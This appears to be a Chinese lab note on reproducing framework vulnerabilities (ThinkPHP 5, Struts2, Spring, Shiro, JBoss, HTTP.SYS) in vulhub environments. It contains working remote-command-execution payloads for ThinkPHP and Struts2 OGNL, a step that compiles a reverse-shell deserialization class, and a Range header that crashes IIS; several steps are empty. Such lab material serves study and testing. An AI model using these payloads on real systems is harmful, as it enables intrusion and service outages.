常见框架漏洞复现
1、Thinkphp5x远程命令执行及getshell
1、环境配置
靶场:vulhub/thinkphp/5-rce
docker-compose up -d
2、漏洞利用
漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。
远程命令执行
poc:
? s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[ 1][]=-1
poc:
? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=whoami
2、status2
1、访问靶机地址
2、在url处输⼊http://47.121.212.195:8080/struts2-
showcase/ ${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了。
3、将上⾯验证payload的值修改为我们的利⽤exp:
$%7B%0A%28%23dm%3D@ognl.0gnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23 request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.o pensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getIns tance%28@com.opensymphony.xwork2.ognl.0gnlUtil@class%29%29.%28%23ou.getExcl udedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.cle ar%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Run time@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.I OUtils@toString%28%23a.getInputStream%28%29%29%29%7D
3、Spring
1、Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)
1、 访问 http://123.57.211.129:8080/customers/1 ,然后抓取数据包,使⽤PATCH请求来修改
2、
4、spring 代码执⾏ (CVE-2018-1273)
1、
2、填写注册信息,bp抓包:
3、加上 poc :
5、Shiro rememberMe反序列化漏洞(Shiro-550)
1、
2、使⽤BurpSuite进⾏抓包,在请求包中的cookie字段中添加rememberMe=123; ,
看响应包 header中是否返回 rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架
3、命令执行
6、JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞
1、漏洞复现
2、输⼊http://123.57.211.129:8081/invoker/EJBInvokerServlet 返回如图,说明接⼝开放,存在
3、#创建class⽂件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
7、HTTP.SYS远程代码执⾏(MS15-034) MS-->Microsoft 2015 -034
1、访问⽹站;
2、编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416
3、使用工具
4、这时候就可以看到虚拟机已经变卡了,甚⾄蓝屏。